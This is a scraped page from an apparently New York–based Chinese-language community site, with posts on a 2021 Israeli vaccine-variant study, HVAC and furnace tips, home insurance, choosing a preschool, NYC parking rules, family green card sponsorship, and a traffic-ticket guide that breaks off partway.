自然的庭院设计成为现代家庭最时尚的风格特点,现代人喜欢古代风格特点的根本原因是人们喜欢古式风格的特殊的宁静感,古雅的大自然环境特点成为了家庭环境的主要部分。 封闭的花园空间是个性化的自然休养所,它们通过玻璃墙,伸缩门和中庭天花板的模糊边界进入相邻的内部空间。 为了更多地探索这些辉煌的空间,并探讨实现这些空间的不同方式

汇集了来自世界各地的大量鼓舞人心的设计。纽约鑫创庭院设计公司!

鑫创庭院设计公司
地址:171-03 45th Ave, Queens, NY 11358
电话: 929-215-2709
网站:https://nyardesign.com/
E-mail:danny76779@gmail.com
Mon – Sat: 8:00 Am – 21:00 Pm

 

2021-04-13 / by / in , ,
以色列研究发现新冠病毒变种 能够“突破”疫苗

文|雨荷编译

根据以色列的一项新研究,在南非首次发现的冠状病毒(中共病毒)变种能够逃避辉瑞-BioNTech疫苗的某些保护。研究人员发现,在接受两剂疫苗的患者中,B.1.351的患病率是未接种疫苗的人的八倍。研究人员指出,该研究的主要警告是相同的样本量。

研究显示,来自南非的Covid变种可能逃避了辉瑞疫苗在南非首次发现的中共病毒变种能够回避一些保护的辉瑞- BioNTech疫苗,根据一项新的以色列的研究,至今尚未经过同行审查。特拉维夫大学和以色列最大的卫生保健组织Clalit的研究人员对近400人进行了检查,他们接受了至少一剂疫苗后Covid-19呈阳性。他们将它们与感染和未接种疫苗的相同人数进行了比较。

打疫苗 示意图。(pixabay)

研究人员发现,在接受两剂疫苗的南非患者中,这种名为B.1.351的变异体的患病率是未接种疫苗的患者的八倍。研究人员在研究中写道,周末在线发布的数据表明,B.1.351比原始菌株更能“突破”疫苗的保护。

“根据一般人群的模式,我们预计只有一例南非变种,但我们看到了八例,”负责这项研究的阿迪•斯特恩教授告诉以色列时报。 “我们可以说这种方法不太有效,但是需要更多的研究来确定确切的数量。”
新数据发布之际,公共卫生官员越来越担心高度传染性的变体,研究表明这种变体会降低疫苗的有效性,可能会使世界在大流行中的进展停滞不前。

上个月,疾病预防控制中心主任Rochelle Walensky博士向记者发出了严峻的警告,告诉记者,她担心美国将面临巨大的危险,因为病毒变异不断蔓延,每天发生的Covid-19病例再次开始反弹,威胁要把更多的人送往医院。

病毒变异 示意图。(pixabay)

3月29日,她说: “我要在这里停顿一下,我要丢掉剧本,我要反思一下我即将来临的厄运的感觉。” “我们有很多期待,有希望和潜力,还有很多希望的理由,但现在我很害怕。”

以色列于12月发起了全国疫苗接种运动,将60岁及60岁以上的老年人,医护人员以及有潜在健康问题的人们放在优先地位。到2月,该国的人均疫苗接种率居世界首位。

1月,辉瑞公司与以色列卫生部签署了一项合作协议,以监测其疫苗在现实世界中的影响。

研究人员指出,这项研究的主要警告是样本量。他们说,B.1.351仅占所有Covid-19案件的1%。B.1.1.7(在英国识别出的变体)更为普遍。
随着变种的扩散,制药商表示,他们正在测试第三剂是否会提供更多保护。辉瑞公司和BioNTech公司在2月表示,他们正在测试第三剂Covid-19疫苗,以更好地了解针对该病毒新变种的免疫反应。

2021-04-13 / by / in , , , , ,
为何冷气不冷 暖气不暖?纽约空调专家王师傅一看摇头

文|雨荷

安装和使用暖气炉很有学问,暖气炉安装的正确、调试的到位,暖气炉的工作稳定,制暖即好,能源又省。根据美国能源资讯管理局(EIA)统计,暖气花费约占家用能源的42%。设备老旧或错误的使用方式,大约一半的暖气系统没有发挥最大性能。若能对暖气设备进行维护、提升绝缘性能、隔绝冷空气,以及设置适当温度,平均将可省下30%的暖气费。

暖气机在正常使用下,约有20至30年的寿命。时常检查暖气设备、拥有良好使用习惯,可以让您拥有一个温暖的家,更能省下不必要的暖气费用。如果想要将设备汰旧换新,最好雇用具有认证的技工。

由航空高级技师王师傅亲自主理的「顺风冷暖空调公司」(位在法拉盛)是一家具有良好信誉的空调总汇。王师傅拥有多项美国专业证照,专精维修安装和保养。

纽约空调安装:顺风冷暖空调公司王师傅。

纽约空调安装 王师傅表示,在许多维修的案例,发现许多安装时的失误:

一.空调主机吨位大,使用的电线太细,不够匹配空调主机的额定电流值,容易出现跳闸、停机、包括损坏设备。

二.将室外空调主机的电源线并联在一起,加大电源配线盒上的空气开关的安培数位,这样做在超载时起不到保护空调主机的作用,这是十分危险的。

三.给空调主机加冷媒时,没有按照空调主机的冷媒号要求来加冷媒,造成空调机器运作不正常,影响制冷、制热的效果。

四.有的空调漏冷媒严重,加了一二周后又不制冷了,这种情况应该要先找出漏冷媒的原因,修复后再加冷媒为好,以免浪费。

五.在外墙的铜管和水管的安装,也需要从合理美观的概念出发,不是随意乱钉在外墙上。

六.室内分机的安装也要讲究,风口不要对着人直接吹,会患所谓的空调病,伤害身体健康。

位在法拉盛的顺风冷暖空调公司,提供机器材料和安装服务,及完善的售后服务。暑期优惠回馈侨胞,包括各式分体式高节能空调,入墙式空调,窗式空调均以特优折扣酬宾。品牌包括获消费者高度评价的著名品牌三菱(Mitsubishi )、富士(Fujitsu)、Frigidaire、弗里德里希(Friedrich)、LG、Samsung、格力 (Gree) 、TOSOT、Panasonic、开利 (Carrier)等。分体式的冷气有一拖一至一拖四,任君选择。

纽约空调安装:顺风冷暖空调公司王师傅。

顺风冷暖空调公司拥有专业注册执照安装保修团队及百万保险安装,随时为客人提供专业建议、快速安装、保养和修护中央空调,分体空调,暖气炉,热水炉等完整的售前及售后服务,服务纽约五大区和纽泽西。

注意事项!

一定要观察玻璃管的水位标志,水位不能太低也不能太高,一般1/3的位置为好。如果自动进水阀进水不畅,可用人工进水。如果自动进水阀坏了,要及时进行更换。要保持炉膛内要求的水位。

不然,暖气炉不会正常工作。

暖气炉 有情提示:

1.油炉房内一定要放几袋干沙子,有炉外明火可用沙子扑灭,用水是扑不灭油引起的明火的。一定要做好消防安全工作,消除火灾隐患。

2.暖气炉的烟囱铁皮上,或在暖气炉的下放,要安装高温保护开关,以避免因高温而引起的火灾风险。保险公司非常关注这个部位!如果没有安装高温保护开关,一旦有事,保险公司是有理由不给理赔的。

3.暖气炉的房间里,不光要安装烟囱释放出因燃烧而产生的废气,还应该有直接通向室外的新鲜空气进来。以帮助暖气炉的完全燃烧。如果新鲜空气不充分,会引起暖气炉燃烧不完全,伤人的废气聚多。严重的会使人中毒!或造成炉子灭火。

4.二根或多根电线拧在一起的时候,线头要对齐,再用平口钳拧紧。找出内经相符的线帽拧紧,这样才能保证电路的可靠畅通,有了可靠畅通的电路,暖气炉才能可靠正常的工作。许多接线方法不正确,线帽压不紧电线接头,造成暖气炉一会工作,一会儿断电。

顺风冷暖空调公司,王师傅亲自安装,并到府免费估价。欢迎洽询,可以直接拨打免费电话咨询。

公司地址: 41-25 Kissena Blvd. 法拉盛百利大厦,

免费电话:917-348-5230

2021-04-12 / 3 Comments / by / in , , , , , , ,
美国房屋保险Home Insurance详解 如何降低保费?

文|无疆行者

房屋是您价值最高的资产吗?相信很多朋友的回答是肯定的,毕竟买房子是一笔很大的投资了。但这样重要的固定资产也面临遭受火灾、飓风、盗窃、别人故意毁坏的可能。虽然美国还没有法律规定要求购买「房屋保险 Home Insurance」,但购房人如果需要贷款,银行会要求购买房屋保险。很多人即便现金一次付清房款,也会主动购买房屋保险来保护自己的重要资产、规避风险。

本文行者为大家详细介绍有关美国房屋保险的内容、类型、理赔范围以及降低保费的技巧。

一、通常房屋保险包括的内容

1.受灾后赔偿给屋主或贷款银行的部份。

2.房屋本身/内部装修,包括房屋本身、围墙、车房、车道、泳池等。如果房屋发生火灾,或因大风倒塌,保险公司会赔偿你人工费和物料费,并尽可能修葺为受损前的规格。

3. 私人财物,包含家具、衣物、电器、书藉、收藏、文件等。有些人会忽略这一点,觉得这些东西不值钱。其实如果把所有物件的价值加起来,金额一定会超出你的意料。

4.修复期生活开支:如果房屋因各种原因受损导致生活不便或不能居住,在修复期间,保险公司会承担相应的生活开支,包括短期的酒店居住或租房费用。

5. 屋主意外责任险,保障屋主或来访客人在房屋室内外发生意外时,可提供赔偿。

二、房屋保险政策类型

在美国,常使用的房屋保险政策有以下几类(下面的HO是Home Owner缩写):

HO-1基本险(Basic Coverage)
基本险的保赔范围包括:因火灾、雷击、烟薰、风灾、冰雹、抢劫、偷窃、爆炸、玻璃破碎、飞机、汽车、暴乱、骚动及故意破坏对房屋造成的损坏。
同时也保赔遭受危害过程中人体受伤、损坏他人财产、律师费、医药费、室内个人财产、房屋损坏后的额外住房生活开销。

HO-2扩充险(Broad Coverage)
除了HO-1,加保因电击、冰雪重压、水管冻坏、天空落体、热水器或空调系统断裂烧坏、室内漏水造成的损坏。

HO-3全保险(Special Form)
这是大众最普遍购买的房屋保险类型。除了HO-1和HO-2之外,全保险还加保除了战争、核灾、水灾、地震、地陷以外的几乎所有内容,也保赔客人在室内外发生的意外、路人在室外发生的意外、宠物咬伤人后的赔偿医药费、律师费等。

HO-4房客险(Tenant’s/ Renter’s Policy)
保赔出租房产室内的房客个人财产。
因为当屋主把房子作为出租使用时,一般只会对他自己的财产进行保险(毕竟多保一样东西就多花一点钱),所以租客需要购买一份房客险来保障自己的利益。

HO-6公寓险(Condominium Coverage)
保赔公寓屋主和室内个人财产、客人路人在室内外的事故、火灾、盗窃、漏水的损失。屋主需仔细阅读公寓业主(HOA)章程来决定须构买的保险费额。
很明显公寓的保险范围会比独栋别墅的要少,保费也会相应低一些。

HO-7活动房险(Mobile Home Coverage)
适用于活动房屋主的房屋保险。

HO-8老房险(Older Home Policy)
HO-8的保险范围和HO-1类似,主要是给年代久远的老房保险,由于老房子的市场价要低于重建价格,老房险允许屋主以低于重建价格的市场价来保险。

三、不同房屋选择哪类保险?

房屋保险政策有好多种,那么究竟该买哪一类呢?

独立房(Single Family House)购买HO-3

屋主拥有整栋房子、地基和地块所有权,因此要对这一切负责。
在房产估价报告(Appraisal Report)中的Cost Approach里有一栏「Total Estimate of Cost-New」,是估计重建此房要多少钱。贷款银行要求的保额是贷款额和Total Estimate of Cost-New中较低的那一个。建议根据Total Estimate of Cost-New购买。

连排屋(Townhouse)购买HO-3

Townhouse屋主的所有权与责任权跟Single House相似。若有业主委员会(HOA)则须提供业主委员会的保险信息。

公寓屋(Condo)购买HO-6

通常贷款银行会要求提供HO-6及Master/HOA Insurance。若Condo的Master Insurance除了公共区域外,也包含房屋内部的保险,那就不用再单独购买HO-6了。

四、房屋保险的索赔申报及注意事项

申报损失

美国的房屋保险理赔是需要在一定时间内自己主动申报的,这个期限一般为房屋发生损失的60天之内,需要填写“损失证明”交给保险公司,在损失证明中需要详细地列出各种损失项目及其价值,日后保险公司将会来审核。

注意房屋保险理赔的事项时限

√ 需要在损坏发生的60天之内向保险公司递交损失证明表;
√ 在保险公司发出估价通知后的20天内选好估价员;
√ 如果对保险公司的理赔存在异议,必须在损害发生的12个月内提出诉讼;
√ 空置的建筑物在损失发生时投保时间若未满60天,保险公司将不予以受理。

五、我该怎样降低保费?

1.提高自付额(deductible)
对于每一个房屋保险项目,投保者都可以自己选择合适的自付额,当意外灾害发生时,你先支付自负额,然后保险公司再负责自负额以外到保额的那部分,自负额越高保额自然就会越低。

2.加强抗灾力
比如,换新的电气设备,以减少房屋着火的风险,采取防震措施,以降低震后损失的程度。若你住在飓风多发地区,则安装防雨百叶窗,给屋顶装防雨板,加固地板墙壁等一些抗风防水措施,都有助于减少保费。

3.加强安保
通常保险公司会给安装烟雾探测器、防盗铃、防盗锁的房屋提供至少5%的保费折扣。一些公司在你安装了较精致的自动喷水灭火器、直通警局消防局的火警及防盗铃后,甚至提供15%至20%的折扣。

4.减去多余项目
每年评估一下保单,去掉不必要的投保项目。当然不要减到不足以保护你的房屋和财产。

5.拆除旧建筑
保单可能也包括地皮上住宅外的其他楼房,从而拉高了保费。如果本来就是废弃的建筑,何不干脆拆掉?

6.清除周围植物
住在野火频发地区的屋主,应除掉自然易燃物,在住宅周围留有空地。

7.合并保险
把你在别家公司买的保险转到同一家公司。比如把汽车险,一些责任险转到屋主险所在公司。一些公司对在他们那里购买两种及以上保险的投保人提供5%至15%的折扣。

8.索赔前三思
多番索赔可能推高保费。如果只是小数额,可权衡是否就自掏腰包,长远来看实则是省钱的。

9.去掉地价
看看是否保单里也涵盖了地皮,如果是,在充分知晓风险的前提下,去掉它。因为地皮不会失窃、被刮走或烧掉,往往是地皮上的房屋和屋内的对象可能受损要恢复。

10.看是否靠近紧急服务
保险公司可能给靠近消防栓、消防站等救援服务的房屋一点保费折扣。假如你家着火,附近1.5英里处有一家消防站跟12英里外有一家完全是两回事。而消防队是公家的还是志愿者团体也对保费有影响。


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2021-04-12 / by / in , , , ,
选择美国幼儿园 了解这些情况很重要

文|雨荷

在美国早教幼儿园分为两岁以下(Childcare),三至四岁(Preschool),五岁(Kindergarten)。 纽约一些满意的私立幼儿园录取比很低,有时候要等一年之久。需要决定提前做做功课,敲定备选的幼儿园名单。美国的幼儿园一般是欢迎家长考察的,有两种参观形式,要么是open house的时候和其他家长一起参观,要么是和学校预约一个访问,到时会有特定的教职人员带。

家长在考察美国幼儿园时,需要了解这些情况:

1.学校环境:干净整洁当然是最基本的,其次就是学校的设施配备,比如学校的backyard里有没有沙坑、玩水的区域、各种植物小动物等等。环境对于孩子心灵的影响自然不必多说,一个好玩有趣的学校环境显然能让孩子更快地接受和适应。

美國幼儿园,孩子在植树。(pixabay)

2:孩子们有没有大量的玩耍机会?

孩子离开家进入新的环境后,父母无法随时掌握孩子的发展都得到了哪些训练。因此很有必要了解学校的课程配置。选择一个“会玩”的幼儿园非常重要,会“玩”的孩子情商高、会合作,认知能力也更强。对”玩“的考察,应该包括想象力层面的玩耍,和运动发展。

父母是孩子的第一任老师,幼儿园其实是家庭教育的延续,因此确保学校的核心价值观和父母的价值观相符非常重要。家庭教育的价值观,体现在养育过程中,父母对孩子不同方面发展的重视程度,以及处理问题的方式。

3:是否名符其实?

以蒙特梭利幼儿园为例,在美国有几千所,仅纽约市就有二十几所。中国近年也春笋发芽一般出现了很多蒙氏幼儿园,但是质量参差不齐。“蒙氏”这个名称并不代表学校具备蒙氏水平和资质。这些学校里只有一部分通过了AMS(美国蒙特梭利协会) 或IMC(国际蒙氏协会)的认证。

4:学校的风格是否适合孩子的气质?

幼儿园最突出的特色,考虑是否和孩子的天性般配吧。比如,蒙园的教室非常安静,看不到孩子们大闹嬉戏的场面,因为他们刻意培养孩子们的独立和专注,有意杜绝给孩子过多的distraction(分心、刺激),过于活泼好动的宝宝,来到这里也许会不太适应。每一个孩子的天生气质都是独特的,蒙氏教育并不一定适合所有的孩子。

蒙氏幼儿园,示意圖。(pixabay)

5:老师是怎样和孩子们互动的?

蒙园是混龄教育(3-6岁同班,保持同一批孩子一个班直到毕业),3年都是同样的老师教,师资背景是考察的要点,纽约地区的几所幼儿园,都要求老师有早教专业学历。学历并不等同于老师的能力,但从某种程度上能作为考察学校的指标。但如果大部分老师连大专证书都没有,那么这家幼儿园的质量就值得打个问号。

6:学校价值观是否和自己的一致?

父母是孩子的第一任老师,幼儿园其实是家庭教育的延续,因此确保学校的核心价值观和父母的价值观相符非常重要。家庭教育的价值观,体现在养育过程中,父母对孩子不同方面发展的重视程度,以及处理问题的方式。

一些学校特别重视艺术修养、另一些学校很强调每天孩子学到什么知识(academic skills)。比如,你是个非常重视孩子阅读能力的家长,亲子阅读是你们生活的一部分,那么要咨询老师每天会花多少时间陪孩子们阅读。再比如,老师在孩子们发生争执时,采用的是time-out的处理方式,但是你很不赞同time-out,这所幼儿园的风格就和你的养育价值观发生了冲突,需要谨慎选择。

孩子们发生争执时 示意图。(pixabay)

值得考察的方面,还包括学校课程中是否贯穿了基础的认字识数;学校和家长之间是何种沟通方式和频率;是否提供你家宝宝可能特别感兴趣的特色课程等。如果是双语幼儿园,孩子每天有多少时间和外籍教师在一起?全托的幼儿园,还要看学校给孩子们饮食和作息安排是否规律。

供我们选择的幼儿园不可能符合我们的每一条要求。多家纽约幼儿园,只能在离家便利、收费合理的幼儿园中,通过比较,选择性价比最高的。但感觉适合自己适合孩子的才是最好。

为您推荐优秀幼儿园如下:

優質寄托家庭

貝賽寄讀

纽约寄宿/贝赛寄读646-460-5786

纽约第82学院/纽约最好的学前教育718-457-0429

托儿所:快乐玛丽安幼稚园718-886-8266

2021-04-12 / by / in , , , , , , ,
在纽约开车,了解这些技巧,你就再也不用担心罚单了!

文|他乡月更明

“如果你爱他,请带他去纽约,因为那是天堂;如果你很他,请带他去纽约,因为那是地狱。”这句台词乍听起来有点夸张,但如果经常在纽约开车,恐怕不少人曾有过那种地狱般的感受。

Manhattan街头,很多街区不准停车。

不说交通的拥堵,只说人人讨厌的罚单。纽约一年的停车和交通罚单有多少?说远一点的,仅2015年,罚单总额就达到9.57亿美元。无论如何计算,收到罚单的总人数,都不会是一个小数字吧?

说近一点的,去年7月份第三周,罚单发出去5,039张。注意:这是非常少的一周。在2019年同期,那一周发了20,762张罚单。

对于高收入者,这点罚单可能不算什么,但对于一般收入的中下阶层,他们一天的收入可能全部付之东流水。试问:那一天的心情,像不像在地狱?

孟先生是纽约市资深导游,疫情之前,他经常带游客游览全美包括纽约市,对纽约市尤其熟悉。时代广场、中央公园、17号码头,博物馆等地,更是经常光顾。

“在纽约开车,我几乎没听说过谁没接过罚单,”孟先生说。他的驾龄有30多年,里程已达60多万英里。尽管有如此的资深驾龄,他几年前在洛克菲勒大街也接到了一张停车罚单。

纽约三大停车标志

纽约的停车标志分三种:No Standing,No Parking,No Stopping。

No Parking

不准泊车的地方,但可以停车上下乘客,装卸货物。

禁止泊车标识,但可以在路边停车上下客或者装卸物品。虽然允许司机这样做,但动作要快速,不可磨磨蹭蹭,不能停留时间太长,也不能等待乘客。

如果你有乘客需要接送,一定要提前联系,让乘客先在路边等待,只可以人等车,不可以车等人。司机不可离开,车子不可熄火,最好在Bus到达之前,你能及时离开。

No Standing

可以靠路边上下乘客,但不可以影响Bus运行。

这是不可以停车等待的标志,可以上下乘客,但不可以装卸货物。司机不可离开。车子不可以等人。乘客有箱子怎么办?还是自己拿著吧。最起码,司机不可以帮乘客装卸,不是偷懒,是怕警察看见给罚单。

No Stopping

这是最严格的禁止停车标志。除非紧急情况,或警察指挥,或者特殊车辆,私家车绝不可停靠。

这是最严格的标识。不准停车上下乘客,不准装卸货物,不准路边等待。对于私家车只有两种情况例外:

一是遇到了紧急情况,比如引擎问题,或其它紧急突发事件,需要避险。二是警察指挥你停下。

记住这三大标志,严格遵守,你得到罚单的机会,一定会减少很多。

还有,一定要记住:有时停车的地方没有标识怎么办?要前后查看,要确定那段街道从头到尾有无标识。

在最难停车的曼哈顿,如何找到停车位?

在曼哈顿开车想找到一个停车位,没有耐心可不行。孟先生熟悉曼哈顿几乎每个街区,哪儿可以停车,甚至哪儿免费停车也知道。

“在中城(大概在93街—23街这个区域之间)那几条街道,从第5大道—第8大道,那是商业区域,是不能停车的,”孟先生介绍。但如果你驾驶的是商业车辆可另当别论。商业车辆一般会购买特殊区域的停车许可证。私家车做不到。

上述区域之外,比如,从可以路边停车的Park Avenue,到东河(East River),以及从第9大道至哈德逊河边第十二大道,这两侧只要是居民区,一般都可停车。要记住停车时间,千万不要超过时间限制。

曼哈顿区域不收费的街道很少,如果司机不注意,很难发现这些街道。要是赶时间,最好还是缴费停车。

时代广场的停车费,贵的离谱。

在游客最爱去的时代广场如何停车呢?

据孟先生了解,时代广场周围,没有免费停车的地方,只能到停车场停车。但进过停车场的人可能都知道:停车费真是吓人哪!笔者去过一次,大概停了半小时左右吧,那次被收了接近30美元。当时还以为被敲了竹杠。

如何避免交高价停车费?孟先生教给我们的办法是:停远一点,然后走到时代广场。9大道西侧,10大道和12大道,都可以停车。只是要有耐心,要多花点时间寻找车位。其实,如果不怕麻烦,乘地铁赶过去最好。住在宾馆的游客,宾馆一般会提供免费停车。

如何在纽约开车不会接到罚单?

因为巡逻的警察多,所以,在曼哈顿开车,一定要多留神,注意路边标志,同时,还要谨慎驾驶。

孟先生介绍,在曼哈顿,有些街道不准进入或者不准转弯,还有的不准调头。这些标志都要留心。

曼哈顿中城,从Park Avenue,一直到9大道;从60街到34街,这些街区不准转弯,只能直行通过。

开车时,最好和公交车保持距离,也不能跟著公交车跑。因为,有些街道公交车可以开进去,可以转弯进去,但私家车不行。如果跟过去的话,公交车后的摄像头,可能会把你逮个正着。

另外,开车的时候,最好集中精力,规规矩矩,不要走蛇形路线,不要打电话,不要拿杯子,不要超速,这样,即使警车跟著你,你也不用怕。但有的司机一看到警察跟著,可能会因为紧张分心,不注意标志,导致犯错被叫停。

记住:最可怕的是公交车罚单

还有一点非常重要,但往往被初级菜鸟司机轻视的规矩:公交车停靠站和专用线。记住:这个一定要牢记于心。因为一旦犯错,会很难洗刷罪名。人家有摄像证据在手,你有吗?

在公交车站,虽然没有标志说私家车不准停靠,有时候公交车不在,看上去那个地方还很空。还有的私家车乘客就喜欢站在公交车站等待,因为觉得这地方好找,好上车。但私家车司机绝对不要停过去。

纽约的公交车普遍配有前后双摄像头,一旦被照相,虽然不会扣分,但很麻烦。而且,罚款的数额还会逐渐升级。同样的错误,付出的代价可能相差几倍。

纽约市不少主要街道配有公交车专用线。在公交车运营期间,这个专用线具有绝对的排他性。

对Bus专用线,一定要给与尊重,并了解其运营时间段。

纽约市公交车专用线分为两种:路边巴士专用线和路中间巴士专用线。二者的区别是:路中间巴士专用线,和路边还隔著一条可供一般车辆通行的普通线路。

路边巴士专用线通行的时间段为:周一到周六,上午6-10点,和下午4—7点。这两处时间段之外的中午时间及晚间时间,装卸货物的司机就有机会合法占用专用车道。

路中间巴士专用线通行时间为周一到周六,早上7点-晚上7点。

但有时候你会发现,有人占用了专用线,好像也没事。这要分两种情形:一是可能司机比较幸运,暂时未被发现。二是司机虽然占用车道,但他是以合法的方式使用。

私家车合法使用公交专用线的方式:一是在巴士运行的时间段之外;二是虽然是在其通行时间段,但司机需要合法右转,右转前可以进入专用线;如果是住家,需要穿越专用线进入自家车道,也可占用一下这个线路,但要注意以安全的方式进入。

如果你需要上下客人,而且路边没有禁止停靠标志,也可临时进入或驶离专用线车道。

如果你占用的普通车道被障碍物、慢性车辆或垃圾车挡住,这时候,你可以占用公交车道,绕过障碍。

还有,为避让紧急车辆,也可临时占用。

在专用线运营时间内,虽可临时占用,但要记住几点:1,不可在线内行驶超过200英尺。2,虽可占用,但要在最近的地方,以合法而安全的方式退出。3,不可影响到公交车的安全和通行。

纽约驾车,要了解和遵守的规矩很多。我们希望通过这篇介绍,能够最大限度的帮助读者们,减少接到罚单的机会,艺高人胆大,从此不再害怕在纽约开车。

2021-04-12 / by / in , , , ,
你是美国公民吗?想帮亲属申请绿卡看这里详解(上)

文|懂你的小伙伴

如果你已经是美国公民,该如何帮助你的亲属拿到绿卡,移民美国?

移民美国有多种方式,亲属移民申请是其中一种。首先,你必须能为该亲属做担保(I-864 表格),需证明你有足够的资产、收入来扶养该亲属(后面会有较详细说明)。但如果你的财务条件不符合时,就必须找其他人来担保。即便是直系亲属也是一样。

哪些是合规定的亲属,这里有定义:

美国公民可為子女、配偶、父母或未满 21 岁的未婚子女等亲属申请绿卡。

第一种是美国公民的配偶(丈夫或妻子)。
第二种是已婚或未婚子女。
第三种是对于年满21岁的美国公民还可以为父母、兄弟姐妹申请。当然,以上申请都要提出你与申请人,亲属关系的证明。

申请进入移民排期?或无需等候?

按照规定,提出申请后,就会与同一国家、同一类别的申请案件进入排队位置。然而,如果是直系亲属,包含配偶、父母或未满 21 岁的未婚子女,则无需等候。

开始必须先填写 I-130 表格(外国人亲属申请),这个表格将说明你与该亲属的关系,有时候 I-130 会与I-485 表格注册永久居留或调整地位申请书一同递交。

如果这名提出申请的亲属,也要帮他的配偶、未满21岁的未婚子女申请绿卡,可以一并申请,例如家人已经在美国境内,就可以提交I-485表格,调整身份。

另外,美国公民对每一位直系亲属,都必须提出个别申请。

一家人可以获得美国移民,同享天伦之乐。

举例一:你帮已婚女儿提出申请绿卡,女儿已经开始排队时,她的丈夫也可以同申请移民签证。
举例二:你为父母提出申请,必须分别提出。如果你有兄弟姊妹,当然也要个别申请。不同的是,父母可以立即拿到签证,兄弟姊妹则要排队等候。
举例三:你为结婚对象申请,如果对象有子女且未满18岁,将自动成为你的「继子女」。你要提出两份申请,一个是结婚对象,一个是继子女。

如上所述,除了直系亲属以外,其他亲属申请都需要排队等候,参照国务院网站,现在等候期如下:
表A:家庭申请最终行动日期(FINAL ACTION DATES FOR FAMILY-SPONSORED PREFERENCE CASES),又称移民排期。

Family-

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All Chargeability 

Areas Except

Those Listed

中国大陆居民
F1:美国公民21岁以上的未婚子女 08十月/2014 08十月/2014
F2A:美国永久居民21岁以下的未婚子女 C 無排期 C 無排期
F2B:美国永久居民21岁以上的未婚子女 08八月/2015 08八月/2015
F3:美国公民21岁以上的已婚子女 08八月/2008 08八月/2008
F4:美國公民兄弟姐妹 01十一月/2006 01十一月/2006

表B:提出家庭簽證的申請日期(DATES FOR FILING FAMILY-SPONSORED VISA APPLICATIONS),又称递件排期。

Family-

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All Chargeability 

Areas Except

Those Listed

中国大陆居民
F1:美国公民21岁以上的未婚子女 15九月/2015 15九月/2015
F2A:美国永久居民21岁以下的未婚子女 01三月/2021 01三月/2021
F2B:美国永久居民21岁以上的未婚子女 15六月/2016 15六月/2016
F3:美国公民21岁以上的已婚子女 22六月/2009 22六月/2009
F4:美國公民兄弟姐妹 01十月/2007 01十月/2007

亲属能在美国境内等待吗?

如果亲属还没成为永久居民之前(未拿到绿卡),不能在美国境内等候排队。 I-130 申请仅证明你与亲属之间的关系。亲属应该在美国境外等候合法移民。但如果是直系亲属,已经合法入境美国,他们可以在你为其提出 I-130 申请时,同时申请调整身分成为永久居民。

若你的亲属已经合法入境美国,他们可以在你提出 I-130亲属申请同时,提出 I-485申请,调整身分成为合法永久居民。同时提出的永久居民申请 (I-485) 地点,必须与您提出 I-130的地点不同。

你帮亲属申请时仍是永久居民怎么办?

另外一种情况: 如果你帮亲属申请时仍是永久居民,但现在是美国公民,该怎么办?

你可以通知你归化的机关,请附上一封信,载明关于您亲属的资讯、您的归化证书影本一份,以及申请核准通知影本一份,以将你亲属的签证类型升级,提前申请的顺序。假如是直系亲属,就能快速取得签证。

移民服务费

以上仅仅是在国家签证中心(NVC)的申请了解,在提出申请后,你的亲属会收到来自美国国务院的包裹,将附有一份指导手册,告知你缴纳移民服务费的付款方式。移民服务费需要在你的亲属赴美前缴清。

在线付款后,国家签证中心(NVC)会处理你的费用,在这之前请等待确认付款「PAID」后,才能继续DS-260表格。每个移民者都必须填写DS-260。

担保文件

接着进入担保文件(I-864表格)的签署,但是,如果你的收入不足,则共同担保人也可以同意代表申请人填写I-864,而且必须提交必要的财产证明文件。担保人通常要持续到移民者持为美国公民,或是有40个季度(通常是10年)的合格工作证明为止。 (下集待续)

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不做任何形式的责任。申办移民时请读者向合格律师提出咨询,请求专业服务。

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2021-04-11 / by / in , , , , , , , ,
纯干货!纽约交通罚单处理全解析

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相比较其他州而言,纽约州的交通法规及交通违章的执法力度要严格一些,所以纽约的司机朋友很容易吃到罚单,纽约州和纽约市的警察们每年开出约100多万张的交通罚单。本文小编为大家详细介绍被警察拦下 (Pull Over)的应对、交通罚单的种类、处理的方法以及上诉的常见理由。

一、路边被警察拦下 (Pull Over)

这是可能获得罚单的第一步,小伙伴们要正确的应对,具体做法总结如下:

1. 警车尾随

如果发现后视镜出现警车闪着灯紧跟在你的后面,你快他也快,你慢他也慢,说明就是冲你来的,应该尽快靠右停车(如果不停车,下一步就是警车鸣笛了)。停车后,警车也会在你后面停下来。

(Pixabay)

2. 安静等待警察过来,严禁下车

接下来就是安静地等待警察过来。

不要解开安全带(以免被警察误认为你一直没系),也尽量不要做其他动作;
把双手放到方向盘上(避免被误认为在拿武器引起严重事故);
严禁打开车门,更严禁下车,不要到处乱找东西。

3. 配合检查,但不着急认错或揽责任

当警察过来时,摇下车窗,可以说 Officer 或 Sir 之类的打个招呼,但少主动说话,就算察觉到自己在驾车过程中有违规的行为,也不要着急主动认错。因为一旦当场认罪,这些是可以被作为证据的,以后在法庭上就很难进行无罪声明了。要认错也要等警察提示之后,记住态度诚恳,表现出十足无辜的样子。

4. 签字

运气好的话,可能会被放走。但很多时候会得到一张罚单,大多数都是黄单。最后,警察会让你在罚单上签字。需要注意的是,签字并不代表认罪,而仅仅是表明你收到了罚单。

二、罚单的种类

纽约州的交通违规罚单有白单、黄单和粉单三种类型。通过罚单的颜色,你可以大致判断出违规种类和违规情节的严重程度。

1、白单(Parking ticket)

白单为违规停车罚单(Parking Violations)

情节严重程度:轻微
后果:一般只罚款不扣分

(The Epoch Times)

常见违规行为:

1)在禁止或限制区域内停车

2)马路旁逾时停车

3)阻碍交通类停车

4)妨碍性停车

2、黄单(TVB ticket)

黄单是普通行车违规罚单(Non-Criminal Driving Violations)

情节严重程度:中度
后果:根据各地区不同情况扣分、罚款,严重时可能吊销驾照;

常见违规行为:

1)超速(speeding,扣3-11分)

2)鲁莽驾驶(reckless driving,扣5分)

3)超越校车(failure to stop for school bus,扣5分)

4)紧跟前车(tailgating,扣4分)

5)刹车不当(inadequate brakes,扣2-4分)

3、粉单(pink summon)

粉单是刑事交通罚单(Criminal Driving Violations)

情节严重程度:严重
后果:重金罚款,可能会导致吊销或永久撤销驾照、入狱、跟随一生的刑事犯罪记录等。

常见违规行为:

1.酒驾(DWAI/Alcohol: Driving While AbilityImpaired by Alcohol)

2. 醉驾 (DWI: Driving While Intoxicated)

3.药驾(DWAI/Drugs: Driving While AbilityImpaired by Drugs

三、认罚还是上诉?

1、认罪

